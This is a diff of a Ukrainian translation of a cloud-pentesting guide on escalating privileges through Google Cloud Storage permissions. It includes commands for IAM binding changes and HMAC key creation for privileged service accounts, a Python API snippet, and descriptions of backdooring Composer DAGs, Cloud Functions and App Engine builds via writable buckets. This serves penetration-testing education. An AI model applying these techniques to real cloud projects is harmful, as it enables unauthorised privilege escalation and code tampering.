Ця дозвола може дати вам змогу **abuse any of the previous scenarios of this section**.
|
||||
```bash
|
||||
# Add binding
|
||||
gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
|
||||
@@ -51,7 +51,7 @@ POLICY
|
||||
```
|
||||
### **`storage.buckets.setIamPolicy`**
|
||||
|
||||
Для прикладу того, як змінювати дозволи з цим дозволом, перегляньте цю сторінку:
|
||||
Для прикладу того, як змінювати дозволи за допомогою цього дозволу, перегляньте цю сторінку:
|
||||
```bash
|
||||
# Add binding
|
||||
gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
|
||||
@@ -87,14 +87,14 @@ POLICY
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
Функція "interoperability" Cloud Storage, призначена для **взаємодії між хмарами** (наприклад з AWS S3), передбачає **створення HMAC ключів для Service Accounts та користувачів**. Атакувальник може скористатися цим, **створивши HMAC ключ для Service Account з підвищеними привілеями**, тим самим **підвищивши привілеї в Cloud Storage**. Хоча HMAC ключі, пов'язані з користувачами, можна отримати лише через веб-консоль, ключ доступу та секретний ключ залишаються **постійно доступними**, що дозволяє зберігати їх як резервний доступ. Натомість HMAC ключі, прив'язані до Service Account, доступні через API, але їхні ключі доступу та секретні ключі неможливо отримати після створення, що ускладнює підтримку постійного доступу.
|
||||
Функція "interoperability" Cloud Storage, призначена для **міжхмарних взаємодій** (наприклад, з AWS S3), передбачає **створення HMAC keys для Service Accounts і користувачів**. Атакуючий може скористатися цим, **згенерувавши HMAC key для Service Account з підвищеними привілеями**, тим самим **ескалювавши привілеї в Cloud Storage**. Хоча HMAC keys, пов'язані з користувачами, можна отримати лише через web console, обидва access and secret keys залишаються **постійно доступні**, що дозволяє потенційно зберігати резервний доступ. Натомість HMAC keys, пов'язані з Service Account, доступні через API, але їх access and secret keys не можна отримати після створення, що ускладнює підтримання постійного доступу.
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
|
||||
|
||||
## If you have TROUBLES creating the HMAC key this was you can also do it contacting the API directly:
|
||||
PROJECT_ID = '$PROJECT_ID'
|
||||
TARGET_SERVICE_ACCOUNT = f"exam-storage-sa-read-flag-3@{PROJECT_ID}.iam.gserviceaccount.com"
|
||||
TARGET_SERVICE_ACCOUNT = f"storage-sa@{PROJECT_ID}.iam.gserviceaccount.com"
|
||||
ACCESS_TOKEN = "$CLOUDSDK_AUTH_ACCESS_TOKEN"
|
||||
import requests
|
||||
import json
|
||||
@@ -117,54 +117,54 @@ gsutil ls gs://[BUCKET_NAME]
|
||||
# Restore
|
||||
gcloud config set pass_credentials_to_gsutil true
|
||||
```
|
||||
Ще один скрипт-експлойт для цього методу можна знайти [тут](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
Інший скрипт-експлойт для цього методу можна знайти [тут](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
|
||||
### `storage.objects.create`, `storage.objects.delete` = Права запису в Storage
|
||||
### `storage.objects.create`, `storage.objects.delete` = Storage Write permissions
|
||||
|
||||
Щоб **створити новий об’єкт** в бакеті потрібен `storage.objects.create`, і, згідно з [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), також потрібен `storage.objects.delete` щоб **змінити** існуючий об’єкт.
|
||||
Щоб **створити новий об'єкт** в bucket потрібен `storage.objects.create` і, згідно з [документацією](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), також потрібен `storage.objects.delete`, щоб **змінити** існуючий об'єкт.
|
||||
|
||||
Дуже **поширеним способом експлуатації** бакетів з правом запису є випадок, коли **бакет зберігає файли вебсерверу** — ви можете **завантажити новий код**, який буде використаний вебдодатком.
|
||||
Дуже **поширена експлуатація** bucket-ів, куди можна записувати, — коли **bucket зберігає файли веб-сервера**: у такому випадку можна **завантажити новий код**, який буде використаний веб-застосунком.
|
||||
|
||||
### Composer
|
||||
|
||||
**Composer** — це **Apache Airflow**, керований в GCP. Має кілька цікавих особливостей:
|
||||
**Composer** — це **Apache Airflow**, яким керують у GCP. Має кілька цікавих особливостей:
|
||||
|
||||
- Він запускається всередині **GKE cluster**, тому **SA, який використовує кластер, доступний** для коду, що виконується в Composer
|
||||
- Всі компоненти середовища Composer (**код DAGs**, плагіни та дані) зберігаються в GCP bucket. Якщо атакувач має права читання та запису, він може моніторити бакет і **whenever a DAG is created or updated, submit a backdoored version**, щоб середовище Composer отримало з Storage backdoored версію.
|
||||
- Воно працює всередині **GKE cluster**, тому **SA, який використовує кластер, доступний** для коду, що виконується всередині Composer.
|
||||
- Усі компоненти середовища composer (**code of DAGs**, плагіни та дані) зберігаються в GCP bucket. Якщо нападник має права читання та запису в ньому, він може моніторити bucket і **коли створюється або оновлюється DAG, підмінити його backdoored version**, щоб середовище composer отримало підмінену версію зі storage.
|
||||
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
**PoC цієї атаки можна знайти в репо:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
|
||||
### Cloud Functions
|
||||
|
||||
- Код Cloud Functions зберігається в Storage і коли створюється нова версія, код завантажується в бакет, а потім з цього коду будується новий контейнер. Отже, **перезаписати код до того, як буде збудована нова версія, дозволяє змусити cloud function виконати довільний код**.
|
||||
- Код Cloud Functions зберігається в Storage і щоразу, коли створюється нова версія, код штовхається в bucket, після чого з цього коду будується новий контейнер. Тому **перезаписати код до того, як буде збудовано нову версію, — це можливість змусити cloud function виконати довільний код**.
|
||||
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
**PoC цієї атаки можна знайти в репо:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
|
||||
### App Engine
|
||||
|
||||
Версії AppEngine генерують деякі дані в бакеті з назвою формату: `staging.<project-id>.appspot.com`. Всередині цього бакету можна знайти папку `ae`, яка міститиме папку на кожну версію додатку AppEngine, і всередині цих папок можна знайти файл `manifest.json`. Цей файл містить JSON зі списком усіх файлів, які мають бути використані для створення конкретної версії. Більше того, там можна знайти **реальні імена файлів, URL до них всередині GCP bucket (файли в бакеті мають змінені імена на їх sha1 хеші) та sha1 хеш кожного файлу.**
|
||||
Версії AppEngine генерують деякі дані всередині bucket з форматом імені: `staging.<project-id>.appspot.com`. Усередині цього bucket можна знайти папку `ae`, яка міститиме папку на кожну версію додатку AppEngine, і всередині цих папок можна знайти файл `manifest.json`. Цей файл містить json зі списком усіх файлів, які мають використовуватися для створення конкретної версії. Крім того, в ньому можна знайти **реальні імена файлів, URL до них всередині GCP bucket (файли в bucket змінюють свої імена на їх sha1 хеш) і sha1 хеш кожного файлу.**
|
||||
|
||||
_Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name appspot.com._
|
||||
_Зауваження: неможливо здійснити pre-takeover цього bucket-а, тому що користувачі GCP не мають права створювати bucket-и з доменом appspot.com._
|
||||
|
||||
Однак, маючи права читання та запису в цей бакет, можна підняти привілеї до SA, прикріпленого до версії App Engine, відстежуючи бакет і щоразу при зміні (нова версія) якнайшвидше модифікуючи нову версію. Таким чином контейнер, створений із цього коду, виконає backdoored код.
|
||||
Однак при наявності доступу на читання та запис до цього bucket можна ескалувати привілеї до SA, приєднаного до версії App Engine, шляхом моніторингу bucket-а і в будь-який момент, коли відбувається зміна (нова версія), якнайшвидше модифікувати нову версію. Таким чином контейнер, який буде створено з цього коду, виконуватиме backdoored код.
|
||||
|
||||
Зазначену атаку можна виконати різними способами; всі вони починаються з моніторингу бакету `staging.<project-id>.appspot.com`:
|
||||
Згадана атака може бути виконана різними способами, усі вони починаються з моніторингу bucket-а `staging.<project-id>.appspot.com`:
|
||||
|
||||
- Завантажити повний новий код версії AppEngine в інший доступний бакет і підготувати **`manifest.json` файл з новою назвою бакету та sha1 хешами файлів**. Потім, коли в оригінальному бакеті створюється нова версія, достатньо змінити `manifest.json` і завантажити шкідливий.
|
||||
- Завантажити змінений `requirements.txt`, який використовуватиме **malicious dependencies code**, і оновити `manifest.json` файлом з новим іменем файлу, URL та його хешем.
|
||||
- Завантажити **змінений `main.py` або `app.yaml`, який виконуватиме шкідливий код**, і оновити `manifest.json` файлом з новим іменем файлу, URL та його хешем.
|
||||
- Завантажити повний новий код версії AppEngine в інший доступний bucket і підготувати **`manifest.json` з ім'ям нового bucket-а та sha1 хешами файлів**. Коли створюється нова версія в основному bucket-і, достатньо змінити `manifest.json` і завантажити шкідливий.
|
||||
- Завантажити змінений `requirements.txt`, який використовуватиме **шкідливі залежності**, і оновити `manifest.json` з новим ім'ям файлу, URL та його хешем.
|
||||
- Завантажити **змінений `main.py` або `app.yaml`, який виконуватиме шкідливий код**, і оновити `manifest.json` з новим ім'ям файлу, URL та його хешем.
|
||||
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
**PoC цієї атаки можна знайти в репо:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
|
||||
### GCR
|
||||
|
||||
- **Google Container Registry** зберігає образи в бакетах; якщо ви можете **записувати в ці бакети**, ви можете **move laterally** туди, де ці бакети виконуються.
|
||||
- Бакет, що використовує GCR, матиме URL, подібний до `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (Top level subdomains вказані [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
|
||||
- **Google Container Registry** зберігає образи всередині bucket-ів; якщо ви можете **писати в ці bucket-и**, ви можете мати можливість **move laterally до місць, де ці bucket-и виконуються.**
|
||||
- Bucket, який використовує GCR, матиме URL, схожий на `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (верхні піддомени вказані [тут](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
|
||||
|
||||
> [!TIP]
|
||||
> Ця служба застаріла, тому ця атака більше не є корисною. До того ж Artifact Registry, сервіс, що її заміняє, не зберігає образи в бакетах.
|
||||
> Цей сервіс застарів, тож ця атака вже менш корисна. Крім того, Artifact Registry, сервіс, який його замінив, не зберігає образи в bucket-ах.
|
||||
|
||||
## **Джерела**
|
||||
## **References**
|
||||
|
||||
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#:\~:text=apiKeys.-,create,privileges%20than%20our%20own%20user.](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user